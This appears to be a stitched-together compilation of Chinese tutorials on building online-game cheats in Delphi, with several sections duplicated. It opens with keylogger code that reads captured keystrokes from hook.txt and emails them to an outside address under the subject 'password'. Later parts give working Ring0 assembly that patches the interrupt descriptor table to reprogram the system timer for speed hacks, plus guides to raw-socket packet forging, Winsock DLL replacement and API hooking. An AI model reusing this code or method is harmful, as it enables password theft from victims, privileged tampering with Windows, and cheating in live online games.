    我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
   assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
   reset(ReadFile); //设为读取方式
   try
    While not Eof(ReadFile) do //当没有读到文件尾
    begin
     Readln(ReadFile,s,j); //读取文件行
     body:=body+s;
    end;
   finally
    closefile(ReadFile); //关闭文件
   end;
   nmsmtp1.EncodeType:=uuMime; //设置编码
   nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
   nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
   nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
   nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
   nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
   nmsmtp1.SendMail; //发送邮件

 

我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDT表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧:
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
2、调用这个过程来实现加速功能
好了,现在思路有了,我们就边看代码边讲解吧:
首先我们建立一个过程,这个过程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;  
const ZDH = $03;        // 设一个中断号
var
  IDT : array [0..5] of byte; // 保存IDT表
  OG : dword;          //存放旧向量
begin
   asm
     push ebx
     sidt IDT                  //读入中断描述符表
     mov ebx, dword ptr [IDT+2] //IDT表基地址
     add ebx, 8*ZDH  //计算中断在中断描述符表中的位置
     cli                       //关中断
     mov dx, word ptr [ebx+6]
     shl edx, 16d              
     mov dx, word ptr [ebx]    
     mov [OG], edx      
     mov eax, offset @@Ring0   //指向Ring0级代码段
     mov word ptr [ebx], ax        //低16位,保存在1,2位
     shr eax, 16d
     mov word ptr [ebx+6], ax      //高16位,保存在6,7位
     int ZDH             //中断
     mov ebx, dword ptr [IDT+2]    //重新定位
     add ebx, 8*ZDH
     mov edx, [OG]
     mov word ptr [ebx], dx
     shr edx, 16d
     mov word ptr [ebx+6], dx      //恢复被改了的向量
     pop ebx
     jmp @@exitasm //到exitasm处
    @@Ring0:    //Ring0,这个也是最最最核心的东东
      mov al,$34    //写入8253控制寄存器
      out $43,al
      mov ax,value //写入定时值
      out $40,al    //写定时值低位
      mov al,ah
      out $40,al    //写定时值高位
      iretd         //返回
   @@exitasm:
   end;
end;
最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!
先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。
在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。
1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)
4、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件
  uses
    windows,ProtTalk……
3、我们建立一个过程
procedure SetRing(value:word);
begin
  if not OpenPortTalk then exit;
  outportb($43,$34);
  outportb($40,lo(Value));
  outprotb($40,hi(value));
  ClosePortTalk;
end;

4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

 

  网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一,在这一篇里就让我们一起研究一下这一个问题吧。
    别看这是封包这一问题,但是涉及的技术范围很广范,实现的方式也很多(比如说APIHOOK,VXD,Winsock2都可以实现),在这里我们不可能每种技术和方法都涉及,所以我在这里以Winsock2技术作详细讲解,就算作抛砖引玉。
    由于大多数读者对封包类编程不是很了解,我在这里就简单介绍一下相关知识:
    APIHooK:
    由于Windows的把内核提供的功能都封装到API里面,所以大家要实现功能就必须通过API,换句话说就是我们要想捕获数据封包,就必须先要得知道并且捕获这个API,从API里面得到封包信息。
    VXD:
    直接通过控制VXD驱动程序来实现封包信息的捕获,不过VXD只能用于win9X。
    winsock2:
    winsock是Windows网络编程接口,winsock工作在应用层,它提供与底层传输协议无关的高层数据传输编程接口,winsock2是winsock2.0提供的服务提供者接口,但只能在win2000下用。
    好了,我们开始进入winsock2封包式编程吧。
    在封包编程里面我准备分两个步骤对大家进行讲解:1、封包的捕获,2、封包的发送。
    首先我们要实现的是封包的捕获:
    Delphi的封装的winsock是1.0版的,很自然winsock2就用不成。如果要使用winsock2我们要对winsock2在Delphi里面做一个接口,才可以使用winsock2。
    1、如何做winsock2的接口?
    1)我们要先定义winsock2.0所用得到的类型,在这里我们以WSA_DATA类型做示范,大家可以举一仿三的来实现winsock2其他类型的封装。
    我们要知道WSA_DATA类型会被用于WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer;,大家会发现WSData是引用参数,在传入参数时传的是变量的地址,所以我们对WSA_DATA做以下封装:
  const
    WSADESCRIPTION_LEN     =   256;
    WSASYS_STATUS_LEN      =   128;
  type
    PWSA_DATA = ^TWSA_DATA;
    WSA_DATA = record
      wVersion: Word;
      wHighVersion: Word;
      szDescription: array[0..WSADESCRIPTION_LEN] of Char;
      szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
      iMaxSockets: Word;
      iMaxUdpDg: Word;
      lpVendorInfo: PChar;
    end;
    TWSA_DATA = WSA_DATA;
    2)我们要从WS2_32.DLL引入winsock2的函数,在此我们也是以WSAStartup为例做函数引入:
   function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;

   implementation

   const WinSocket2 = 'WS2_32.DLL';
   function WSAStartup; external winsocket name 'WSAStartup';

   通过以上方法,我们便可以对winsock2做接口,下面我们就可以用winsock2做封包捕获了,不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题,所以我们在这里以IP数据包为例做封包捕获,如果下面的某些数据类型您不是很清楚,请您查阅MSDN:
    1)我们要起动WSA,这时个要用到的WSAStartup函数,用法如下:
INTEGER WSAStartup(
                   wVersionRequired: word,
                   WSData: TWSA_DATA
                  );
    2)使用socket函数得到socket句柄,m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下:
INTEGER socket(af: Integer,
               Struct: Integer,
               protocol: Integer
              );  

  m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);在程序里m_hSocket为socket句柄,AF_INET,SOCK_RAW,IPPROTO_IP均为常量。

    3)定义SOCK_ADDR类型,跟据我们的网卡IP给Sock_ADDR类型附值,然后我们使用bind函数来绑定我们的网卡,Bind函数用法如下:

Type
    IN_ADDR = record
    S_addr : PChar;
   End;

Type
   TSOCK_ADDR = record
    sin_family: Word;
    sin_port: Word;
    sin_addr : IN_ADDR
    sin_zero: array[0..7] of Char;
   End;

var
  LocalAddr:TSOCK_ADDR;

  LocalAddr.sin_family: = AF_INET;
  LocalAddr.sin_port: = 0;
  LocalAddr.sin_addr.S_addr: = inet_addr('192.168.1.1'); //这里你自己的网卡的IP地址,而inet_addr这个函数是winsock2的函数。

  bind(m_hSocket, LocalAddr, sizeof(LocalAddr));

    4)用WSAIoctl来注册WSA的输入输出组件,其用法如下:

INTEGER WSAIoctl(s:INTEGER,
                 dwIoControlCode : INTEGER,
                 lpvInBuffer :INTEGER,
                 cbInBuffer : INTEGER,
                 lpvOutBuffer : INTEGER,
                 cbOutBuffer: INTEGER,
                 lpcbBytesReturned : INTEGER,
                 lpOverlapped : INTEGER,
                 lpCompletionRoutine : INTEGER
                );
    5)下面做死循环,在死循环块里,来实现数据的接收。但是徇环中间要用Sleep()做延时,不然程序会出错。
    6)在循环块里,用recv函数来接收数据,recv函数用法如下:
INTEGER recv (s : INTEGER,
              buffer:Array[0..4095] of byte,
              length : INTEGER,
              flags : INTEGER,
             );
    7)在buffer里就是我们接收回来的数据了,如果我们想要知道数据是什么地方发来的,那么,我们要定义一定IP包结构,用CopyMemory()把IP信息从buffer里面读出来就可以了,不过读出来的是十六进制的数据需要转换一下。

    看了封包捕获的全过程序,对你是不是有点起发,然而在这里要告诉大家的是封包的获得是很容易的,但是许多游戏的封包都是加密的,如果你想搞清楚所得到的是什么内容还需要自己进行封包解密。

在本章中,我们主要来研究一下封包的制作和发送,同样,我们所采用的方法是Delphi+winsock2来制作。在以前说过在Delphi中只封装了winsock1,winsock2需要自已封装一下,我在此就不多介绍如何封装了。
下面就一步步实现我们的封包封装与发送吧:
首先,我们应该知道,封包是分两段的,一段是IP,一段是协议(TCP,UDP,其他协议),IP就像邮政编码一样,标识着你的这个封包是从哪里到哪里,而协议里记录着目标所要用到的包的格式及校验等,在网络游戏中的协议一般都是自已定义的,要破解网络游戏最重要的是学会破解网络游戏的协议网络游戏协议破解,为了不影响现运行的网络游戏的安全,我在此会以UDP协议为例,介绍一下网络协议的封包与发送的全过程。
接下来,我们就可以开始看看整个封包全过程了:
    1)我们要起动sock2,这时个要用到的WSAStartup函数,用法如下:
INTEGER WSAStartup(
                   wVersionRequired: word,
                   WSData: TWSA_DATA
                  );
在程序中wVersionRequired我们传入的值为$0002,WSData为TWSA_DATA的结构。
    2)使用socket函数创建并得到socket句柄; 用法如下:
INTEGER socket(af: Integer,
               Struct: Integer,
               protocol: Integer
              );  
注意的是在我们的程序封包中饱含了IP包头,所以我们的Struct参数这里要传入的参数值为2,表示包含了包头。该函数返回值为刚刚创建的winsocket的句柄。
    3)使用setsockopt函数设置sock的选项; 用法如下:
INTEGER setsockopt(s: Integer,
                   level: Integer,
                   optname: Integer,
                   optval: PChar,
                   optlen: Integer
                  );
在S处传入的是Socket句柄,在本程序里level输入的值为0表示IP(如果是6表示TCP,17表示UDP等~),OptName里写入2,而optval的初始值填入1,optlen为optval的大小。
    4)接下来我们要分几个步骤来实现构建封包:
  1、把IP转换成sock地址,用inet_addr来转换。
Longint  inet_addr(
                   cp: PChar
                  );
  2、定义包的总大小、IP的版本信息为IP结构:
     总包大小=IP头的大小+UDP头的大小+UDP消息的大小,
     IP的版本,在此程序里定义为4,
  3、填写IP包头的结构:
      ip.ipverlen := IP的版本 shl 4;
      ip.iptos := 0;                // IP服务类型
      ip.iptotallength := ;         // 总包大小
      ip.ipid := 0;                 // 唯一标识,一般设置为0
      ip.ipoffset := 0;             // 偏移字段
      ip.ipttl := 128;              // 超时时间
      ip.ipprotocol := $11;         // 定义协议
      ip.ipchecksum := 0 ;          // 检验总数
      ip.ipsrcaddr := ;             // 源地址
      ip.ipdestaddr := ;            // 目标地址
  4、填写UDP包头的结构:
      udp.srcportno := ;            //源端口号
      udp.dstportno := ;            //目标端口号
      udp.udplength := ;            //UDP包的大小
      udp.udpchecksum :=  ;         //检验总数
  5、把IP包头,UDP包头及消息,放入缓存。
  6、定义远程信息:
      remote.family := 2;
      remote.port :=;               //远程端口
      remote.addr.addr :=;          //远程地址

    5)我们用SendTo发送封包,用法如下:  
INTEGER sendto(s: Integer,
               var Buf: Integer,
               var len: Integer,
               var flags: Integer,
               var addrto: TSock_Addr;
               tolen: Integer
              );  
在S处传入的是Socket句柄,Buf是刚刚建好的封包,len传入封包的总长度刚刚计算过了,flag是传入标记在这里我们设为0,addto发送到的目标地址,在这里我们就传入remote就可以了,tolen写入的是remote的大小。
   
    6)到了最后别忘记了用CloseSocket(sh)关了socket和用WSACleanup关了winsock。

最后要说的是这种发送方式,只能发送完全被破解的网络协议,如果要在别人的程序中间发送数据就只有用APIHOOK或在winsock2做中间层了。如果大家还有什么问题需要和我讨论,请发邮件到microprogramer@hotmail.com或加QQ:24259132。

网络游戏外挂核心封包揭密

网络游戏外挂核心封包揭密
作者:佚名 发布时间:2004-6-23 22:54:03 | 【字体:

 

  网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一,在这里就让我们一起研究一下这一个问题吧。

  别看这是封包这一问题,但是涉及的技术范围很广范,实现的方式也很多(比如说APIHOOK,VXD,Winsock2都可以实现),在这里我们不可能每种技术和方法都涉及,所以我在这里以Winsock2技术作详细讲解,就算作抛砖引玉。

  由于大多数读者对封包类编程不是很了解,我在这里就简单介绍一下相关知识:

  APIHooK:

  由于Windows的把内核提供的功能都封装到API里面,所以大家要实现功能就必须通过API,换句话说就是我们要想捕获数据封包,就必须先要得知道并且捕获这个API,从API里面得到封包信息。

  VXD:

  直接通过控制VXD驱动程序来实现封包信息的捕获,不过VXD只能用于win9X。

  winsock2:

  winsock是Windows网络编程接口,winsock工作在应用层,它提供与底层传输协议无关的高层数据传输编程接口,winsock2是winsock2.0提供的服务提供者接口,但只能在win2000下用。

  好了,我们开始进入winsock2封包式编程吧。

  在封包编程里面我准备分两个步骤对大家进行讲解:1、封包的捕获,2、封包的发送。

  首先我们要实现的是封包的捕获:

  Delphi的封装的winsock是1.0版的,很自然winsock2就用不成。如果要使用winsock2我们要对winsock2在Delphi里面做一个接口,才可以使用winsock2。

  1、如何做winsock2的接口?

  1)我们要先定义winsock2.0所用得到的类型,在这里我们以WSA_DATA类型做示范,大家可以举一仿三的来实现winsock2其他类型的封装。

  我们要知道WSA_DATA类型会被用于WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer;,大家会发现WSData是引用参数,在传入参数时传的是变量的地址,所以我们对WSA_DATA做以下封装:

const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;
type
PWSA_DATA = ^TWSA_DATA;
WSA_DATA = record
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSA_DATA = WSA_DATA;

  2)我们要从WS2_32.DLL引入winsock2的函数,在此我们也是以WSAStartup为例做函数引入:

function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
implementation

const WinSocket2 = 'WS2_32.DLL';
function WSAStartup; external winsocket name 'WSAStartup';

  通过以上方法,我们便可以对winsock2做接口,下面我们就可以用winsock2做封包捕获了,不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题,所以我们在这里以IP数据包为例做封包捕获,如果下面的某些数据类型您不是很清楚,请您查阅MSDN:

  1)我们要起动WSA,这时个要用到的WSAStartup函数,用法如下:

INTEGER WSAStartup(
 wVersionRequired: word,
 WSData: TWSA_DATA
);

   2)使用socket函数得到socket句柄,m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下:

INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);

m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);

  在程序里m_hSocket为socket句柄,AF_INET,SOCK_RAW,IPPROTO_IP均为常量。

  3)定义SOCK_ADDR类型,跟据我们的网卡IP给Sock_ADDR类型附值,然后我们使用bind函数来绑定我们的网卡,Bind函数用法如下:

Type
IN_ADDR = record
S_addr : PChar;
End;

Type
TSOCK_ADDR = record
sin_family: Word;
sin_port: Word;
sin_addr : IN_ADDR
sin_zero: array[0..7] of Char;
End;

var
LocalAddr:TSOCK_ADDR;

LocalAddr.sin_family: = AF_INET;
LocalAddr.sin_port: = 0;
LocalAddr.sin_addr.S_addr: = inet_addr('192.168.1.1'); //这里你自己的网卡的IP地址,而inet_addr这个函数是winsock2的函数。

bind(m_hSocket, LocalAddr, sizeof(LocalAddr));

  4)用WSAIoctl来注册WSA的输入输出组件,其用法如下:

INTEGER WSAIoctl(s:INTEGER,
dwIoControlCode : INTEGER,
lpvInBuffer :INTEGER,
cbInBuffer : INTEGER,
lpvOutBuffer : INTEGER,
cbOutBuffer: INTEGER,
lpcbBytesReturned : INTEGER,
lpOverlapped : INTEGER,
lpCompletionRoutine : INTEGER
);

  5)下面做死循环,在死循环块里,来实现数据的接收。但是徇环中间要用Sleep()做延时,不然程序会出错。

  6)在循环块里,用recv函数来接收数据,recv函数用法如下:

INTEGER recv (s : INTEGER,
buffer:Array[0..4095] of byte,
length : INTEGER,
flags : INTEGER,
);

  7)在buffer里就是我们接收回来的数据了,如果我们想要知道数据是什么地方发来的,那么,我们要定义一定IP包结构,用CopyMemory()把IP信息从buffer里面读出来就可以了,不过读出来的是十六进制的数据需要转换一下。

  看了封包捕获的全过程序,对你是不是有点起发,然而在这里要告诉大家的是封包的获得是很容易的,但是许多游戏的封包都是加密的,如果你想搞清楚所得到的是什么内容还需要自己进行封包解密。

游戏外挂分析(DELPHI)

我主要对外挂的技术进行分析,至于游戏里面的内部结构每个都不一样,这里就不做讲解了,我也没有那么厉害,所有的都知道,呵呵!
1 首先游戏外挂的原理
  外挂现在分为好多种,比如模拟键盘的,鼠标的,修改数据包的,还有修改本地内存的,但好像没有修改服务器内存的哦,呵呵!其实修改服务器也是有办法的,只是技术太高一般人没有办法入手而已!(比如请GM去夜总会,送礼,收黑钱等等办法都可以修改服务器数据,哈哈)
  修改游戏无非是修改一下本地内存的数据,或者截获api函数等等,这里我把所能想到的方法都作一个介绍,希望大家能做出很好的外挂来使游戏厂商更好的完善自己的技术.
我见到一片文章是讲魔力宝贝的理论分析,写的不错,大概是那个样子.
下来我就讲解一下技术方面的东西,以作引玉之用
2 技术分析部分
1 模拟键盘或鼠标的响应
我们一般使用UINT SendInput(
UINT nInputs,   // count of input events
LPINPUT pInputs, // array of input events
int cbSize     // size of structure
);api函数
第一个参数是说明第二个参数的矩阵的维数的,第二个参数包含了响应事件,这个自己填充就可以,最后是这个结构的大小,非常简单,这是最简单的方法模拟键盘鼠标了,呵呵
注意:这个函数还有个替代函数:
VOID keybd_event(
BYTE bVk,           // 虚拟键码
BYTE bScan,         // 扫描码
DWORD dwFlags,      
ULONG_PTR dwExtraInfo   // 附加键状态
);和
VOID mouse_event(
DWORD dwFlags,       // motion and click options
DWORD dx,         // horizontal position or change
DWORD dy,         // vertical position or change
DWORD dwData,       // wheel movement
ULONG_PTR dwExtraInfo // application-defined information
);
这两个函数非常简单了,我想那些按键精灵就是用的这个吧,呵呵,上面的是模拟键盘,下面的是模拟鼠标的.
这个仅仅是模拟部分,要和游戏联系起来我们还需要找到游戏的窗口才行,或者包含快捷键,就象按键精灵的那个激活键一样,我们可以用GetWindow函数来枚举窗口,也可以用Findwindow函数来查找制定的窗口(注意还有一个FindWindowEx),FindwindowEx可以找到窗口的子窗口,比如按钮,等什么东西.当游戏切换场景的时候我们可以用FindWindowEx来确定一些当前窗口的特征,从而判断是否还在这个场景,方法很多了,比如可以GetWindowInfo来确定一些东西,比如当查找不到某个按钮的时候就说明游戏场景已经切换了,等等办法.有的游戏没有控件在里面,这是对图像做坐标变换的话,这种方法就要受到限制了.这就需要我们用别的办法来辅助分析了.
至于快捷键我们要用动态连接库实现了,里面要用到hook技术了,这个也非常简单,大家可能都会了,其实就是一个全局的hook对象然后SetWindowHook就可以了,回调函数都是现成的,而且现在网上的例子多如牛毛,这个实现在外挂中已经很普遍了.如果还有谁不明白,那就去看看msdn查找SetWindowHook就可以了.这个动态连接库的作用很大,不要低估了哦,它可以切入所有的进程空间,也就是可以加载到所有的游戏里面哦,只要用对,你会发现很有用途的!
这个需要你复习一下win32编程的基础知识了,呵呵,赶快去看书吧!2截获消息
有些游戏的响应机制比较简单,是基于消息的,或者用什么定时器的东西,这个时候你就可以用拦截消息来实现一些有趣的功能了.
我们拦截消息使用的也是hook技术,里面包括了键盘消息,鼠标消息,系统消息,日志等,别的对我们没有什么大的用处,我们只用拦截消息的回调函数就可以了,这个不会让我写例子吧,其实这个和上面的一样,都是用SetWindowHook来写的,看看就明白了很简单的.
至于拦截了以后做什么就是你的事情了,比如在每个定时器消息里面处理一些我们的数据判断,或者在定时器里面在模拟一次定时器,那么有些数据就会处理两次,呵呵,后果嘛,不一定是好事情哦,呵呵,不过如果数据计算放在客户端的游戏就可以真的改变数据了,呵呵,试试看吧!用途还有很多,自己想也可以想出来的,呵呵!3拦截socket包
这个技术难度要比原来的高很多哦,要有思想准备.
首先我们要替换winSock.dll或者winsock32.dll,我们写的替换函数要和原来的函数一致才行,就是说它的函数输出什么样的,我们也要输出什么样子的函数,而且参数,参数顺序都要一样才行,然后在我们的函数里面调用真正的winSock32.dll里面的函数就可以了
首先:我们可以替换动态库到系统路径
其次:我们应用程序启动的时候可以加载原有的动态库,用这个函数LoadLibary
然后定位函数入口用GetProcAddress函数获得每个真正socket函数的入口地址
当游戏进行的时候它会调用我们的动态库,然后从我们的动态库中处理完毕后才跳转到真正动态库的函数地址,这样我们就可以在里面处理自己的数据了,应该是一切数据.呵呵!
兴奋吧,拦截了数据包我们还要分析之后才能进行正确的应答,不要以为这样工作就完成了,呵呵!还早呢,等分析完毕以后我们还要仿真应答机制来和服务器通信,一个不小心就会被封号,呵呵,呜~~~~~~~~我就被封了好多啊!
分析数据才是工作量的来源呢,游戏每次升级有可能加密方式会有所改变,因此我们写外挂的人都是亡命之徒啊,被人娱乐了还不知道,呵呵!(声明我可没有赚钱,我是免费的)
好了,给大家一个不错的起点,这里有完整的替换socket源代码,呵呵!
http://www.vchelp.net/vchelp/zsrc/wsock32_sub.zip

4截获api
上面的技术如果可以灵活运用的话我们就不用截获api函数了,其实这种技术是一种补充技术.比如我们需要截获socket以外的函数作为我们的用途,我们就要用这个技术了,其实我们也可以用它直接拦截在socket中的函数,这样更直接.
现在拦截api的教程到处都是,我就不列举了,我用的比较习惯的方法是根据输入节进行拦截的,这个方法可以用到任何一种操作系统上,比如98/2000等,有些方法不是跨平台的,我不建议使用.这个技术大家可以参考windows核心编程里面的545页开始的内容来学习,如果是98系统可以用window系统奥秘那个最后一章来学习.
好了方法就是这么多了,看大家怎么运用了,其它的一些针对性的技巧这里我就不说了,要不然会有人杀了我的,呵呵!记住每个游戏的修改方法都不一样,如果某个游戏数据处理全部在服务器端,那么你还是别写外挂了,呵呵,最多写个自动走路的外挂,哈哈!
数据分析的时候大家一定要注意,不要轻易尝试和服务器的连接,因为那有很危险,切忌!等你掌握了大量的数据分析结果以后,比较有把握了在试试,看看你的运气好不好,很有可能会成功的哦,呵呵!
其实像网金也疯狂的那种模拟客户端的程序也是不错的,很适合office的人用,就看大家产品定位了.
好了不说了,大家努力吧!切忌不要被游戏厂商招安哦,那样有损我们的形象,我们是为了让游戏做的更好而开发的,也不愿意打乱游戏的平衡,哎,好像现在不是这样了!不说了随其自然吧!
Qq:16055393
有什么技术问题可以找我.
网金里面的逆风飞扬是我妹妹的组织哦
我的文章名字没有叫《网络游戏外挂制作之我所见(6)》是因为本文六以后研究的方向就是网络数据封包的内容了,而本文将要介绍的是windows 2000/Xp下实现加速形外挂的制作。
在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。
1、我们首先要下一个PortTalk驱动,他的官方网站是
http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
3、建立一个Protalk.sys的接口(我想省略了,大家可以上
http://www.freewebs.com/liuyue/porttalk.pas 下个pas文件自己看吧)
4、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件
uses
  windows,ProtTalk……
3、我们建立一个过程
procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));就这么容易,win2000的也就写出来了,我最近真的很忙,请大家耐心等待~~~~谢谢大家支持ing。---------------------------------------
我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDE表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧:
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
2、调用这个过程来实现加速功能
好了,现在思路有了,我们就边看代码边讲解吧:
首先我们建立一个过程,这个过程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;
const ZDH = $03;     // 设一个中断号
var
IDT : array [0..5] of byte; // 保存IDT表
OG : dword;       //存放旧向量
begin
  asm
  push ebx
  sidt IDT             //读入中断描述符表
  mov ebx, dword ptr [IDT+2] //IDT表基地址
  add ebx, 8*ZDH //计算中断在中断描述符表中的位置
  cli               //关中断
  mov dx, word ptr [ebx+6]
  shl edx, 16d        
  mov dx, word ptr [ebx]  
  mov [OG], edx  
  mov eax, offset @@Ring0   //指向Ring0级代码段
  mov word ptr [ebx], ax     //低16位,保存在1,2位
  shr eax, 16d
  mov word ptr [ebx+6], ax     //高16位,保存在6,7位
  int ZDH         //中断
  mov ebx, dword ptr [IDT+2]   //重新定位
  add ebx, 8*ZDH
  mov edx, [OG]
  mov word ptr [ebx], dx
  shr edx, 16d
  mov word ptr [ebx+6], dx     //恢复被改了的向量
  pop ebx
  jmp @@exitasm //到exitasm处
  @@Ring0:   //Ring0,这个也是最最最核心的东东
    mov al,$34   //写入8253控制寄存器
    out $43,al
    mov ax,value //写入定时值
    out $40,al   //写定时值低位
    mov al,ah
    out $40,al   //写定时值高位
    iretd       //返回
  @@exitasm:
  end;
end;
最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!
先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。版权说明:
您可以随意复制、分发、下载此文档。但未经本人同意,您不可以截取、改动本文片断,或用本文谋取任何形式的利益。


游戏外挂设计技术探讨①

一、 前言

  所谓游戏外挂,其实是一种游戏外辅程序,它可以协助玩家自动产生游戏动作、修改游戏网络数据包以及修改游戏内存数据等,以实现玩家用最少的时间和金钱去完成功力升级和过关斩将。虽然,现在对游戏外挂程序的合法身份众说纷纭,在这里我不想对此发表任何个人意见,让时间去说明一切吧。


